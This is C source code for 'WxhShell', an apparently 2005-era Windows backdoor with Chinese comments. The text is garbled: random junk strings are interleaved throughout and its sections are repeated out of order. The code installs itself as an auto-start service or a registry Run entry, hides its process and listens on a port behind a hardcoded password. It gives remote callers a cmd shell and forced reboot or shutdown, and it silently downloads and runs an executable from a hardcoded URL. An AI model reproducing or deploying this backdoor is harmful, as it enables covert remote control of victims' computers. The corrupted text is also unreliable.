(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "p]F q, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5gP<+S#>T !
C}t)R]^ if (!NtQueryInformationProcess) return 0; w\(LG_n| C\.mv |aW~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H<tk/\C if(!hProcess) return 0; %Xm3m0nsv{ $7Sbz&)y3 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?Q$LIoR MYVUOd, CloseHandle(hProcess); {8L)Fw `D2wlyqO6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a2:Tu if(hProcess==NULL) return 0; XD1x*# iQ[0d.(A HMODULE hMod; B_f0-nKP char procName[255]; :V)W?~Z7B unsigned long cbNeeded; sy^k:y? ZqI.n4:9 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p(2j7W-/ 3F%Qq7v CloseHandle(hProcess); $}[Tj0+: mtfyhFk if(strstr(procName,"services")) return 1; // 以服务启动 ,gU%%>-_~w >.R6\>N% return 0; // 注册表启动 ETu7G5? } P\ yt!S2 FV[6">;g // 主模块 wf7<#jIq int StartWxhshell(LPSTR lpCmdLine) +MQvq\%tG { -25#Vh SOCKET wsl; cz_4cMgxu BOOL val=TRUE; DSwF
} int port=0; tVx.J'"Y struct sockaddr_in door; vcB+h;x 1fbd/-h if(wscfg.ws_autoins) Install(); 5H6GZ:hp c%.f|/.k
port=atoi(lpCmdLine); 39!o!_g =q|fe%# if(port<=0) port=wscfg.ws_port; Q^Ln`zMe dRZor gar WSADATA data; m[^;HwJ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zIbl[[M& Fqzk/m if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h3;Ij ' setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ADX} door.sin_family = AF_INET; #e%.z+7I door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Rfvr7G/? door.sin_port = htons(port); S&-sl b*Ipg8n+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MW9B
-x closesocket(wsl); yZ&By?.0 return 1; }wR)p } Cu({%Gy+ |xzqYu?o if(listen(wsl,2) == INVALID_SOCKET) { yh_s(>sh closesocket(wsl); 7>{edNy!, return 1; hk ./G'E } ,|I\{J #C Wxhshell(wsl); lGB7( WSACleanup(); SU#
S' Y tGH>0}h return 0; +bm2vIh$ iy
tSC } sSG]I%oB3 .WL507*"Ce // 以NT服务方式启动 fJv0 B* VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (XqeX(s { =mqV&FgRo DWORD status = 0; |ry;'[* DWORD specificError = 0xfffffff; @=wAk5[IN !^axO serviceStatus.dwServiceType = SERVICE_WIN32; _;01/V"q6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; >mF`XbS serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ">fgoDQ serviceStatus.dwWin32ExitCode = 0; 3UC8iq* serviceStatus.dwServiceSpecificExitCode = 0; :o}7C%Q8 serviceStatus.dwCheckPoint = 0; <Mc:Cg8> serviceStatus.dwWaitHint = 0; Tjs-+$P+ `"ie57- hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >4EcV1y if (hServiceStatusHandle==0) return; @oRYQ|.R %aw/Y5 status = GetLastError(); '&<-,1^L if (status!=NO_ERROR) F$ h/k^ {
l3g6y9; serviceStatus.dwCurrentState = SERVICE_STOPPED; ]}v`#-Px( serviceStatus.dwCheckPoint = 0; WZO#(eO` serviceStatus.dwWaitHint = 0; =D[h0U serviceStatus.dwWin32ExitCode = status; }= <!j5: serviceStatus.dwServiceSpecificExitCode = specificError; LnJ7i"Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0_] aF8j return; },Z-w_H } dfJ7Dhn ]ipVN serviceStatus.dwCurrentState = SERVICE_RUNNING; |u}sX5/q serviceStatus.dwCheckPoint = 0; uk'<9g^ serviceStatus.dwWaitHint = 0; zIAMM if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); moo>~F _^ } +?@qux! }bnkTC // 处理NT服务事件,比如:启动、停止 j_H
T VOID WINAPI NTServiceHandler(DWORD fdwControl) PRah?|*0s { W@S9}+wl* switch(fdwControl) .A `:o { x4( fW\ case SERVICE_CONTROL_STOP: fzio8mKVX serviceStatus.dwWin32ExitCode = 0; =H?Nb:s serviceStatus.dwCurrentState = SERVICE_STOPPED; (@#Lk"B serviceStatus.dwCheckPoint = 0; C4cg,>P7 serviceStatus.dwWaitHint = 0; 'Qfy+_0 { AdYQhF## SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;yXnPAtJ } =~S
return; 'Hia6<m3 case SERVICE_CONTROL_PAUSE: *Xnq1_K} serviceStatus.dwCurrentState = SERVICE_PAUSED; }wb;ulN) break; bbM
!<&F case SERVICE_CONTROL_CONTINUE: nc{<v serviceStatus.dwCurrentState = SERVICE_RUNNING; |S}*M<0 break; j w462h case SERVICE_CONTROL_INTERROGATE: N~kYT\$b# break; [aC9vEso! }; 6qDD_:F SetServiceStatus(hServiceStatusHandle, &serviceStatus); j%h
Y0
} =>J#_Pprn gA|j\T{c // 标准应用程序主函数 X[ (J!"+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5`DH\VD.j { OR9){qP jdp:G // 获取操作系统版本 ;CZcY] ol OsIsNt=GetOsVer(); I$LO0avvH2 GetModuleFileName(NULL,ExeFile,MAX_PATH); t_dg$KB 6hq)yUvo4 // 从命令行安装 S@)bl if(strpbrk(lpCmdLine,"iI")) Install(); Z(eSnV_RL pAuwSn#i // 下载执行文件 Hv\*F51p= if(wscfg.ws_downexe) { <k6xScy$} if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MvmP["%J4_ WinExec(wscfg.ws_filenam,SW_HIDE); z-G (!]: } ^aCYh[= zY+Et.lg]^ if(!OsIsNt) { }C1wfZ~F~ // 如果时win9x,隐藏进程并且设置为注册表启动 #^ #i]{g HideProc(); I>#ChV)(# StartWxhshell(lpCmdLine); }0RFo96)v } BaAb4{ else <GRf%zJ if(StartFromService()) [#Vr)\n // 以服务方式启动 5.#9}] StartServiceCtrlDispatcher(DispatchTable); fZfiiE~7J else u_8 22Z // 普通方式启动 z]AS@}wWqg StartWxhshell(lpCmdLine); pe})A V2%wb\_z return 0; Z-a(3& } DG?\6Zh 3+5\xRq i%8&g2 qL.Y_,[[ =========================================== U(4_X[qD KBe { !
hr@{CD
(Nb1R"J` >L`mF_WG {~g " ,z)NKt# ss8v4@C #include <stdio.h> #!,`EU #include <string.h> p|V1Gh< #include <windows.h> L.[uMuUa #include <winsock2.h> d<? :Q #include <winsvc.h> Aq'E:/ #include <urlmon.h> E]?HCRa5R Sr 4 7u{n #pragma comment (lib, "Ws2_32.lib")
89=JC[c #pragma comment (lib, "urlmon.lib") '|N4fbZd IFofFXv_ #define MAX_USER 100 // 最大客户端连接数 G3^]Wwu #define BUF_SOCK 200 // sock buffer rxp9B>~ #define KEY_BUFF 255 // 输入 buffer 6G$tYfX xH#a|iT?( #define REBOOT 0 // 重启 RyWOiQk; #define SHUTDOWN 1 // 关机 Yj/nzTVJ[ !DL53DQ# #define DEF_PORT 5000 // 监听端口 nY-9
1q?Y Ytwv=;h- #define REG_LEN 16 // 注册表键长度 fZ:rz;tM #define SVC_LEN 80 // NT服务名长度 p!QneeA`&X QfWu~[ // 从dll定义API VhI IW"1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]mo<qWRc>p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N:jiZ) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n12c075 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P\6T4s ^GaPpm // wxhshell配置信息 ~.`r( struct WSCFG { Ny7=-]N4{" int ws_port; // 监听端口 nL07^6( char ws_passstr[REG_LEN]; // 口令 g]
C3lf- int ws_autoins; // 安装标记, 1=yes 0=no ^-*Tn char ws_regname[REG_LEN]; // 注册表键名 ixHZX<6zYT char ws_svcname[REG_LEN]; // 服务名 GiO#1gA char ws_svcdisp[SVC_LEN]; // 服务显示名 OrJlHMz char ws_svcdesc[SVC_LEN]; // 服务描述信息 ":^
NLBm>5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i3&B%JiLX int ws_downexe; // 下载执行标记, 1=yes 0=no )K%O/H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fd,+(i D char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q.sQ Z]ty9 Bp{`%86SE }; 7+hF; a;T[%'in // default Wxhshell configuration y{I[}$k struct WSCFG wscfg={DEF_PORT, 8 E+C:" "xuhuanlingzhe", [Pc[{( 1, $SGA60q "Wxhshell", o/9LK "Wxhshell", nEcd+7( "WxhShell Service", @&xaaqQ- "Wrsky Windows CmdShell Service", L0|hc "Please Input Your Password: ", c1A G3Nb 1, z<vO# "http://www.wrsky.com/wxhshell.exe", }%FuL5Tx "Wxhshell.exe" +y4AUU:Q }; ^pV>b(?qw bKMR7&e.Ep // 消息定义模块 ~TFYlV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bd
P,Zqd char *msg_ws_prompt="\n\r? for help\n\r#>"; {!e ANm' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X<}o>
6|d char *msg_ws_ext="\n\rExit."; KPd C9H char *msg_ws_end="\n\rQuit."; "zIq)PY char *msg_ws_boot="\n\rReboot..."; D62
NU char *msg_ws_poff="\n\rShutdown..."; <6O_t,K] char *msg_ws_down="\n\rSave to "; >aC\_Mc kxqc6 char *msg_ws_err="\n\rErr!"; r{2].31' char *msg_ws_ok="\n\rOK!"; V52C,]qQH l8AEEG8> char ExeFile[MAX_PATH]; +\8 krA int nUser = 0; i@R$g~~-D HANDLE handles[MAX_USER]; /<7C[^h{- int OsIsNt; PWN'.HQ ;,vL SERVICE_STATUS serviceStatus; P9TBQW2G{ SERVICE_STATUS_HANDLE hServiceStatusHandle; ^0tf1pV2 L8]{B // 函数声明 1H,tP|s int Install(void); TFYT vUn int Uninstall(void); G!VF*yW8 int DownloadFile(char *sURL, SOCKET wsh); u!3]RGJ int Boot(int flag); pz35trW void HideProc(void); LQ(5D_yG. int GetOsVer(void); 'uf\.F int Wxhshell(SOCKET wsl); q&Tn>B void TalkWithClient(void *cs); H~dHVQtJZ int CmdShell(SOCKET sock); Sa1z,EP int StartFromService(void); *zVLy^L_8 int StartWxhshell(LPSTR lpCmdLine); ;y~{+{{Ow "`i:)E t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tq\~<rEo VOID WINAPI NTServiceHandler( DWORD fdwControl ); d1TdH s\ Jg|cvu-+ // 数据结构和表定义 ~l*?D7[o SERVICE_TABLE_ENTRY DispatchTable[] = hUT^V( { z1'FmwT {wscfg.ws_svcname, NTServiceMain}, ~@4ZV {NULL, NULL} 6%\Q*r*N }; l/png: 8lWH=kA\ // 自我安装 :9F''f$AP int Install(void) :IVk_[s { 8hK P char svExeFile[MAX_PATH]; 6snOMa GRu HKEY key; ;w6fM strcpy(svExeFile,ExeFile); Gl8&FrR O%JsUKV // 如果是win9x系统,修改注册表设为自启动 :`Uyn!w if(!OsIsNt) { oO#xx)b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mo;)0Vq2l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p>:ef<.i RegCloseKey(key); G=Hf&l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6vgBqn[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5`E`Kb+@ RegCloseKey(key); '{0[&i* return 0; &(1H!
} 5K ,#4EOV } IObx^N_K } _}e7L7B7g else { fzS`dL5,W mGe|8In // 如果是NT以上系统,安装为系统服务 GjeUUmr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Cx+WLD if (schSCManager!=0) 2sqm7th { bbNU\r5% SC_HANDLE schService = CreateService ] dHB} ( ^.D}k schSCManager, a;"Uz|rz wscfg.ws_svcname, 1^L`)Up wscfg.ws_svcdisp, \6lh `U SERVICE_ALL_ACCESS, xEVLE,*?> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JvfQib SERVICE_AUTO_START, oe!:|ck< SERVICE_ERROR_NORMAL, {4:
-0itG svExeFile, fimb]C I|x NULL, ,jRcl!n` NULL, 3a#PA4Ql NULL, nw0L1TP/J NULL, MCk^Tp!
NULL
n1*&%d'7 ); ?h!t$QQ!M if (schService!=0) -]Q(~'a { l] _b;iux CloseServiceHandle(schService); <Zp^lDxa CloseServiceHandle(schSCManager); Mny'9hsl strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?C
&x/2lt strcat(svExeFile,wscfg.ws_svcname); dU]i-NF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K4! P' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P3iA(3I24< RegCloseKey(key); X"[dQ_o return 0; k7^R,.c@ } !TP6=ks } ohrw\<xsu CloseServiceHandle(schSCManager); J3B6X 8P' } J=UZ){c>:. } d5DP^u $]@O/[ return 1; gbm0H-A:* } }B y)y;~ 3{N\A5~ // 自我卸载 c 9rVgLqn! int Uninstall(void) F=XF] { ~~PgF"v HKEY key; M@|w[ydQG U~aWG\h#X if(!OsIsNt) { )YuRjBcp," if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +}Xr1fr{jw RegDeleteValue(key,wscfg.ws_regname); (/"thv5vT{ RegCloseKey(key); Bvz62? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wk@
eV\H71 RegDeleteValue(key,wscfg.ws_regname); q0&Wk"X%rr RegCloseKey(key); <rNtY , return 0; u(W^Nou/+ } cDCJ]iDs } 3bWum } xE%O:a?S else { -#Np7/ hM~eJv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ><[|
G9 if (schSCManager!=0) U,e'ZRU6 { Bn\l'T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #wr2imG6 if (schService!=0) SO`dnf { U\Ct/U&A? if(DeleteService(schService)!=0) { Hk,lX r CloseServiceHandle(schService); OCCEL9d CloseServiceHandle(schSCManager); wG+=}1X return 0; o]A XT8 } ;Xqn-R CloseServiceHandle(schService); d7* CwY9" } Yi 6Nw+$ CloseServiceHandle(schSCManager); Rho5s@N 7 } @0$}?2 } C` pp O@s{uZ|A6 return 1; h1#S+k } 80Ag L[rpb.'FG // 从指定url下载文件 J{d(1gSZ int DownloadFile(char *sURL, SOCKET wsh) UR}kB&t { K"L_`.&Q HRESULT hr; U
IfH*6X char seps[]= "/"; W6vf=I@f char *token;
lWbZ=x_0 char *file; G]4OFz+ char myURL[MAX_PATH]; ,+s e char myFILE[MAX_PATH]; d/S+(<g +semfZ) strcpy(myURL,sURL); rj 3YTu` token=strtok(myURL,seps); 4.8nY\_WF while(token!=NULL) {7qA &c= { >8|+%pK8< file=token; `fz,Lh*v token=strtok(NULL,seps); ryg4hHspl } ),=@q+{E{ V5AW&kfd GetCurrentDirectory(MAX_PATH,myFILE); \^& strcat(myFILE, "\\"); fD{II+T strcat(myFILE, file); tjj^O%SV< send(wsh,myFILE,strlen(myFILE),0); &1_U1 send(wsh,"...",3,0); FPF6H puV hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g`n;R if(hr==S_OK) M'q'$)e return 0; ]*3:DU else X"j>=DEX return 1; D<t~e$ H "b]#MO}P } FQROK4x%" o2aM#Q
// 系统电源模块 Iq^if> int Boot(int flag) @DuK#W"E u { DL {R|3{N HANDLE hToken; %&+TbDE+T TOKEN_PRIVILEGES tkp; E"#Xc@ .%'Z~|K4 if(OsIsNt) { 4PWAGuN^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @A{m5h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
K'aWCscM tkp.PrivilegeCount = 1; #f*g]p{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >&WhQhZ3kg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,."b3wR[w if(flag==REBOOT) { F\:(*1C if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,3HcCuT return 0; ', {7%G9 }
oq$w4D0Z else { (e9fm|n!)| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -Wc~B3E| return 0; (PRBS\*G } Gf0,RH+ } u[")*\CP else { S@xXq{j if(flag==REBOOT) { pzhl*ss"6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nNaXp*J return 0; RV+E^pkp$ } $*\L4<( else { zN{JJ3- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hx2En:^Gf return 0; [A9JshMo } O'$K],=BS } aXY->< 88lxHoPV return 1; v+=k-;- } P`jL]x Y]N,.pv= // win9x进程隐藏模块 aY)2eY void HideProc(void) .A6lj).: { 9o0!m Cq p'f%%#I HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); % /}WUP^H if ( hKernel != NULL ) B= X,7 { V&ot3- Rf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C$9z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fD4ICO @ FreeLibrary(hKernel); 0Fw6Dq<8-! } `f9gC3Hk &aG*k* return; (GcT(~Gq)D } zhblLBpeE\ SDYv(^ f , // 获取操作系统版本 2c(aO[%h9 int GetOsVer(void) Jblj^n?Bm { A8DFm{})c OSVERSIONINFO winfo; 3yA2WW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,v9f~qh GetVersionEx(&winfo); 7N=-Y>$X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z@Hp,|Vy[ return 1; [/ M` else DmqSQA return 0; . + } PftxqJz (Yb[)m>fQ} // 客户端句柄模块 l= }~v int Wxhshell(SOCKET wsl) JkQ\)^5v { JC#>Td SOCKET wsh; v~|?3/{Q struct sockaddr_in client; 9GLb"6+PK DWORD myID; ]N{0:Va@D E?)656F[ while(nUser<MAX_USER) sJG5/w { :6{`~= int nSize=sizeof(client); )|bC^{kH!l wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nV_8Ke if(wsh==INVALID_SOCKET) return 1; d3;qsUh$yv x=Hndx^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q.U$nph\%d if(handles[nUser]==0) P\nC?!Q%c closesocket(wsh); "xJ 0 vlw else %9v@0}5V nUser++; <Fz~7WVd } (C;I*cv WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HQP}w%8x vZj`| return 0; \G|%Zw| } v(]]_h .dMVoG5 // 关闭 socket : 9t4s#. void CloseIt(SOCKET wsh) a->3`c { XT>.`, sv closesocket(wsh); lB91An nUser--; ~lAKJs#{ ExitThread(0); M~Ttb29{ } Cq)IayD@ Ro(Zmk\t // 客户端请求句柄 (la[KqqCO void TalkWithClient(void *cs) U_G gCI) { rQ`i8GF l^MzN SOCKET wsh=(SOCKET)cs; .Dg*\ h char pwd[SVC_LEN];
D L'iS char cmd[KEY_BUFF]; 8flOq"uK^ char chr[1]; [U@;\V$ int i,j; _ *f ``VW;l{ while (nUser < MAX_USER) { k^"bLf(4 \!]hU%Un if(wscfg.ws_passstr) { v"& pQ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a|7a_s4( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1BHG'y //ZeroMemory(pwd,KEY_BUFF); y
!$alE i=0; VZ&
A%UFC while(i<SVC_LEN) { '(GiF .xhK'}l[ // 设置超时 X1{[}! fd_set FdRead; B~
S6R
struct timeval TimeOut; %V9ZyQg%* FD_ZERO(&FdRead); <_Z:'~Zp FD_SET(wsh,&FdRead); gKz(= TimeOut.tv_sec=8; YKmsQ(q`N TimeOut.tv_usec=0; %WTEv?I{Ga int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d[p;T\?" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0& >H^ SP* fv` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v3d&*I pwd=chr[0]; ".^VI2T if(chr[0]==0xd || chr[0]==0xa) {
_A13[Mt3 pwd=0; xL|;VyD break; S"Lx% } ,GWNLm\5 i++; k3?rp`V1 } ;W>Cqg= c~QS9)=E // 如果是非法用户,关闭 socket =OIw*L8C"I if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qy)_wM } BrRL7xX K~=UUB send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sJwyj D$b send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wNFz*|n H{J'#
9H while(1) { g~V+4+ qd3Q}Lk ZeroMemory(cmd,KEY_BUFF); No]~jnqDM o<IAeH {+ // 自动支持客户端 telnet标准 /~*_x=p: j=0; jZ`;Cy\<B while(j<KEY_BUFF) { v>z tB,,9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); akw,P$i cmd[j]=chr[0]; 3rLTF\ if(chr[0]==0xa || chr[0]==0xd) { HbP!KVHyk1 cmd[j]=0; s,#>m*Rh break; <)+y=m\eJ } +)zOer, j++; `.s({/|[ } z'T)=ycT V%$/#sza // 下载文件 ,h"- if(strstr(cmd,"http://")) { "&Po,AWa send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2'=T[<nNB if(DownloadFile(cmd,wsh)) s3 7'&K send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z{&cuo.@<] else }D+}DPL{^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X7k.zlH7T } U9b?i$ else { ~4"qV_M WAdCF-S switch(cmd[0]) { 4pw6bK,s2\ q6YX M // 帮助 )K &( case '?': { %HrAzM.QBF send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;M"9$M' break; N F)~W# } #o1=:PQaC // 安装 :
]C~gc case 'i': { RKPO#qju\F if(Install()) Ua!aaq& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6@DF else fb^fVSh> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]_N|L|]M break; 95el'K[R } )"Ztlhs`# // 卸载 d!eYqM7-G case 'r': { x.S3Zi}= if(Uninstall()) M4as send(wsh,msg_ws_err,strlen(msg_ws_err),0); f^W;A"+ else sr8cYLm5R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]U"94S U:) break; 8OgLn?"P } H;RwO@v // 显示 wxhshell 所在路径 N7e"@Ic case 'p': { 03C0L& char svExeFile[MAX_PATH]; ]+X@
7 strcpy(svExeFile,"\n\r"); s[UHe{^T strcat(svExeFile,ExeFile); / m=HG^! send(wsh,svExeFile,strlen(svExeFile),0); c38D}k^): break; 4?B\O`sy. } dAuJXGo // 重启 om1eQp0N case 'b': { Bz,?{o6s)Q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }_ 9Cxji if(Boot(REBOOT)) d3xmtG {i send(wsh,msg_ws_err,strlen(msg_ws_err),0); #ep`nf0x else { zCk^B/j sM closesocket(wsh); F w?[lS ExitThread(0); M3.do^ss } A0Qb 5e break; $< JaLS } 9 AJ(&qY( // 关机 <7~'; K case 'd': { A}l3cP;
`# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WPQ fhr#| if(Boot(SHUTDOWN)) a|X a3E send(wsh,msg_ws_err,strlen(msg_ws_err),0); &q9T9AOS else {
PUUwv_ closesocket(wsh); }4,L%$@n ExitThread(0); 'dn]rV0(C } DMO Mh#[ break; kDsFR#w&` } \.-bZ$ // 获取shell T:~vk.Or case 's': { FYpzQ6s~ CmdShell(wsh); Abc)i7!.,. closesocket(wsh); -qGa]a ExitThread(0); m^zUmrj[ break; +L;e^#>d } J\b^) // 退出 u ,KD4{! case 'x': { ?{ryGhb ~ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z:wutqru CloseIt(wsh); %%[LKSTb break; x<ZJb } -Fe?R*-g // 离开 #pnI\ case 'q': { )P
sY($ & send(wsh,msg_ws_end,strlen(msg_ws_end),0); NPp;78O0[ closesocket(wsh); 'd9INz. WSACleanup(); )?anOD[ exit(1); /V'A%2Cl=T break; 9w7n1k. } tVN } "]}
bFO7C } oG_~q
w|h WvY?
+JXJ // 提示信息 %WjXg:R if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fb e[@#: } MDn ua }
R[D{|K@" =%TWX[w return; 9dx/hFA } )
b (B <eWf< // shell模块句柄 ZbdZrE$ int CmdShell(SOCKET sock) X4~y7 { b0Ps5G\ u STARTUPINFO si; 3`DQo%< ZeroMemory(&si,sizeof(si)); g,!L$,/F si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Lk)gO^C si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \"P%`C PROCESS_INFORMATION ProcessInfo; V2wb%;q char cmdline[]="cmd"; sBT2j~jhJ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [M=7M}f; return 0; QTk}h_<u } !$gR{XH$] 0x@6^%^\ // 自身启动模式 *nkoPVpC int StartFromService(void) $Nhs1st*8 { inMA:x}cF1 typedef struct nksLWfpG?B { ;,%fE2c DWORD ExitStatus;
@niHl DWORD PebBaseAddress; t-tg-< DWORD AffinityMask; g}1B;zGf DWORD BasePriority; Z 2V.3 ULONG UniqueProcessId; L>Fa^jq5 ULONG InheritedFromUniqueProcessId; w;4<h8Wn5 } PROCESS_BASIC_INFORMATION; 4V)kx[j #lL^?|M PROCNTQSIP NtQueryInformationProcess; @@Kp67Iv W}@c|d $` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vXrx{5gz static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y51e%n$ I-]?"Q7Jz HANDLE hProcess;
?N *>*" PROCESS_BASIC_INFORMATION pbi; bN1|q|9 -b9\=U[ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yg<R=$n,Q if(NULL == hInst ) return 0; ,~N/- 5 wDal5GJp g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2*;~S44 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F rfM3x6UM NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X9W@&zQ pP&7rRhw if (!NtQueryInformationProcess) return 0; a/4T>eC '}53f2%gKa hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?jv/TBZX4 if(!hProcess) return 0; $]/{[@5 N2^=E1|_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !C': uP)'FI CloseHandle(hProcess); _^Ubs>d=* /L
